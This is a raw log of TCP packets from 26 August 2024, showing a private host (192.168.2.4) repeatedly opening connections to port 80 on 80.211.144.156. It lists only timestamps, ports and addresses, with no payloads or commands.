Aug 26, 2024 20:17:46.243858099 CEST	80	49821	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.243906021 CEST	49821	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.244416952 CEST	80	49822	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.244458914 CEST	49822	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.244658947 CEST	80	49823	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.244725943 CEST	49823	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.244803905 CEST	49823	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.249686003 CEST	80	49823	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.602737904 CEST	49823	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:46.607743979 CEST	80	49823	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.607839108 CEST	80	49823	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.607848883 CEST	80	49823	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.920448065 CEST	80	49823	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:46.961801052 CEST	49823	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:47.050575972 CEST	80	49823	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:47.102485895 CEST	49823	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:47.444020033 CEST	49824	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:47.446938992 CEST	49818	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:47.448915958 CEST	80	49824	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:47.449012995 CEST	49824	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:47.449281931 CEST	49824	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:47.454083920 CEST	80	49824	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:47.806664944 CEST	49824	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:47.811629057 CEST	80	49824	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:47.811711073 CEST	80	49824	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:47.811723948 CEST	80	49824	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:48.179915905 CEST	80	49824	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:48.227427959 CEST	49824	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:48.340100050 CEST	80	49824	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:48.383683920 CEST	49824	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:48.458798885 CEST	49824	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:48.459673882 CEST	49825	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:48.465023041 CEST	80	49824	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:48.465137959 CEST	49824	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:48.465632915 CEST	80	49825	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:48.465704918 CEST	49825	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:48.465832949 CEST	49825	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:48.471654892 CEST	80	49825	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:48.821378946 CEST	49825	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:48.827476025 CEST	80	49825	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:48.827493906 CEST	80	49825	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:48.827650070 CEST	80	49825	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:49.154072046 CEST	80	49825	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:49.196253061 CEST	49825	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:49.284461975 CEST	80	49825	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:49.336867094 CEST	49825	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:49.416423082 CEST	49825	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:49.417368889 CEST	49826	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:49.422524929 CEST	80	49825	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:49.422617912 CEST	49825	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:49.422652960 CEST	80	49826	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:49.422724009 CEST	49826	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:49.422882080 CEST	49826	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:49.429132938 CEST	80	49826	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:49.774651051 CEST	49826	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:49.779603004 CEST	80	49826	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:49.779642105 CEST	80	49826	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:49.779661894 CEST	80	49826	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:50.094559908 CEST	80	49826	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:50.152123928 CEST	49826	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:50.295452118 CEST	80	49826	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:50.336802959 CEST	49826	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:50.733254910 CEST	49826	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:50.733586073 CEST	49827	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:50.738492012 CEST	80	49826	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:50.738569975 CEST	49826	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:50.738799095 CEST	80	49827	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:50.738862991 CEST	49827	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:50.738976955 CEST	49827	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:50.744015932 CEST	80	49827	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.012218952 CEST	49828	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.012285948 CEST	49827	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.019151926 CEST	80	49828	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.019232035 CEST	49828	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.055854082 CEST	49828	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.057810068 CEST	80	49827	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.060991049 CEST	80	49828	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.175313950 CEST	49823	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.182431936 CEST	49829	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.187685013 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.187829971 CEST	49829	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.188080072 CEST	49829	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.194323063 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.209127903 CEST	80	49827	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.209189892 CEST	49827	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.415224075 CEST	49828	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.421384096 CEST	80	49828	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.421473026 CEST	80	49828	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.540282965 CEST	49829	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.545142889 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.545430899 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.545548916 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.713380098 CEST	80	49828	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.758693933 CEST	49828	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.850181103 CEST	80	49828	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.880815983 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:51.899332047 CEST	49828	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:51.930586100 CEST	49829	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.140410900 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.140511990 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.140559912 CEST	49829	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.255263090 CEST	49828	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.256170988 CEST	49829	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.256170988 CEST	49830	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.260999918 CEST	80	49828	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.261023998 CEST	80	49830	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.261063099 CEST	49828	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.261101007 CEST	49830	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.261310101 CEST	80	49829	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.261343002 CEST	49830	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.265266895 CEST	49829	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.266352892 CEST	80	49830	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.618626118 CEST	49830	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:52.623569965 CEST	80	49830	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.623594999 CEST	80	49830	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.623605013 CEST	80	49830	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.948497057 CEST	80	49830	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:52.993065119 CEST	49830	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:53.143255949 CEST	80	49830	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:53.196182013 CEST	49830	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:53.479599953 CEST	49831	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:53.499059916 CEST	80	49831	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:53.499175072 CEST	49831	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:53.499492884 CEST	49831	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:53.507316113 CEST	80	49831	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:53.852819920 CEST	49831	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:53.866719961 CEST	80	49831	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:53.866734028 CEST	80	49831	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:53.872353077 CEST	80	49831	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:54.185781956 CEST	80	49831	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:54.227453947 CEST	49831	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:54.320156097 CEST	80	49831	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:54.368071079 CEST	49831	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:54.441824913 CEST	49831	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:54.442470074 CEST	49832	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:54.446943045 CEST	80	49831	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:54.447016001 CEST	49831	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:54.447410107 CEST	80	49832	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:54.447463989 CEST	49832	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:54.447577000 CEST	49832	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:54.452692986 CEST	80	49832	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:54.805737019 CEST	49832	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:54.811413050 CEST	80	49832	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:54.811429024 CEST	80	49832	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:54.811487913 CEST	80	49832	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:55.117854118 CEST	80	49832	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:55.164936066 CEST	49832	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.246995926 CEST	80	49832	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:55.289927006 CEST	49832	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.360152960 CEST	49830	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.365145922 CEST	49832	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.365787029 CEST	49833	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.370579958 CEST	80	49832	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:55.370660067 CEST	49832	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.371680021 CEST	80	49833	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:55.371742964 CEST	49833	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.371833086 CEST	49833	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.376605988 CEST	80	49833	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:55.735589981 CEST	49833	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:55.740648031 CEST	80	49833	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:55.740725040 CEST	80	49833	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:55.740735054 CEST	80	49833	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.183374882 CEST	80	49833	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.227427006 CEST	49833	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.302623034 CEST	80	49833	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.352453947 CEST	49833	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.426456928 CEST	49833	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.427200079 CEST	49834	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.445158005 CEST	80	49834	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.445173979 CEST	80	49833	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.445245028 CEST	49834	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.445275068 CEST	49833	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.445411921 CEST	49834	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.467227936 CEST	80	49834	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.790200949 CEST	49834	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.815452099 CEST	80	49834	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.815465927 CEST	80	49834	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.815474033 CEST	80	49834	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.854110956 CEST	49835	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.854294062 CEST	49834	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.859190941 CEST	80	49835	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.859252930 CEST	49835	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.859343052 CEST	49835	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.864264011 CEST	80	49835	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.901659966 CEST	80	49834	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.945521116 CEST	80	49834	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.945641041 CEST	49834	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.980304003 CEST	49836	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.985333920 CEST	80	49836	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:56.985404968 CEST	49836	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.987881899 CEST	49836	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:56.993587971 CEST	80	49836	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.211958885 CEST	49835	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:57.217138052 CEST	80	49835	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.217171907 CEST	80	49835	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.336888075 CEST	49836	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:57.341770887 CEST	80	49836	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.341811895 CEST	80	49836	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.341964960 CEST	80	49836	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.580034018 CEST	80	49835	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.633711100 CEST	49835	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:57.672715902 CEST	80	49836	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.700284958 CEST	80	49835	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.727438927 CEST	49836	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:57.743119001 CEST	49835	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:57.891968966 CEST	80	49836	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:57.946171999 CEST	49836	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.004820108 CEST	49835	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.004821062 CEST	49836	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.005603075 CEST	49837	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.009841919 CEST	80	49836	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.009922981 CEST	49836	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.010370016 CEST	80	49835	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.010392904 CEST	80	49837	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.010420084 CEST	49835	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.010464907 CEST	49837	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.010560989 CEST	49837	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.015341043 CEST	80	49837	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.368351936 CEST	49837	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.374870062 CEST	80	49837	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.375279903 CEST	80	49837	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.375289917 CEST	80	49837	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.713680029 CEST	80	49837	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.758723974 CEST	49837	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:58.912223101 CEST	80	49837	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:58.961838961 CEST	49837	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:59.316688061 CEST	49838	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:59.321821928 CEST	80	49838	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:59.321902037 CEST	49838	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:59.325223923 CEST	49838	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:59.331891060 CEST	80	49838	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:59.680672884 CEST	49838	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:17:59.685569048 CEST	80	49838	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:59.685580969 CEST	80	49838	80.211.144.156	192.168.2.4
Aug 26, 2024 20:17:59.687510014 CEST	80	49838	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.008312941 CEST	80	49838	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.055610895 CEST	49838	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:00.136455059 CEST	80	49838	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.180633068 CEST	49838	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:00.257713079 CEST	49838	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:00.258522987 CEST	49839	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:00.265475988 CEST	80	49838	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.265552044 CEST	49838	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:00.268735886 CEST	80	49839	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.268815041 CEST	49839	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:00.268994093 CEST	49839	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:00.282464027 CEST	80	49839	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.618454933 CEST	49839	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:00.623495102 CEST	80	49839	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.623657942 CEST	80	49839	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.623900890 CEST	80	49839	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.944562912 CEST	80	49839	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:00.993071079 CEST	49839	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:01.135108948 CEST	80	49839	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:01.180587053 CEST	49839	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:01.278923035 CEST	49839	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:01.279903889 CEST	49840	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:01.286628962 CEST	80	49840	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:01.286699057 CEST	49840	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:01.286736012 CEST	80	49839	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:01.286798000 CEST	49839	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:01.287025928 CEST	49840	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:01.293992043 CEST	80	49840	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:01.695301056 CEST	49840	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:01.876300097 CEST	80	49840	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:01.876315117 CEST	80	49840	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:01.876324892 CEST	80	49840	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:01.993429899 CEST	80	49840	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.039967060 CEST	49840	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.157809973 CEST	80	49840	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.211925983 CEST	49840	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.276623964 CEST	49837	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.276835918 CEST	49840	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.277434111 CEST	49841	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.282800913 CEST	80	49840	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.282819033 CEST	80	49841	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.282862902 CEST	49840	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.282939911 CEST	49841	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.283030987 CEST	49841	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.288265944 CEST	80	49841	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.634053946 CEST	49841	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.639425993 CEST	80	49841	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.639439106 CEST	80	49841	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.639447927 CEST	80	49841	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.713373899 CEST	49841	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.713412046 CEST	49842	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.718219995 CEST	80	49842	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.721313953 CEST	49842	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.721451044 CEST	49842	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.726398945 CEST	80	49842	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.763645887 CEST	80	49841	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.767025948 CEST	49841	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.835582972 CEST	49843	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.840389013 CEST	80	49843	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:02.843036890 CEST	49843	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.843180895 CEST	49843	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:02.847929001 CEST	80	49843	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.071495056 CEST	49842	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.077200890 CEST	80	49842	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.077656031 CEST	80	49842	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.196398020 CEST	49843	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.201360941 CEST	80	49843	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.201385975 CEST	80	49843	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.201395035 CEST	80	49843	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.403409958 CEST	80	49842	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.446190119 CEST	49842	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.526783943 CEST	80	49843	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.536350012 CEST	80	49842	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.571521044 CEST	49843	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.586795092 CEST	49842	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.744358063 CEST	80	49843	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.789979935 CEST	49843	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.864285946 CEST	49842	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.864301920 CEST	49843	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.865128994 CEST	49844	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.869513988 CEST	80	49842	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.869600058 CEST	49842	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.869942904 CEST	80	49844	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.870023012 CEST	49844	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.870172024 CEST	49844	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.870434046 CEST	80	49843	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:03.870527983 CEST	49843	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:03.875384092 CEST	80	49844	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:04.231808901 CEST	49844	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:04.236798048 CEST	80	49844	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:04.236812115 CEST	80	49844	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:04.236821890 CEST	80	49844	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:04.558018923 CEST	80	49844	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:04.602444887 CEST	49844	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:04.701437950 CEST	80	49844	80.211.144.156	192.168.2.4
Aug 26, 2024 20:18:04.743052006 CEST	49844	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:05.138940096 CEST	49845	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:18:05.143870115 CEST	80	49845	80.211.144.156	192.168.2.4
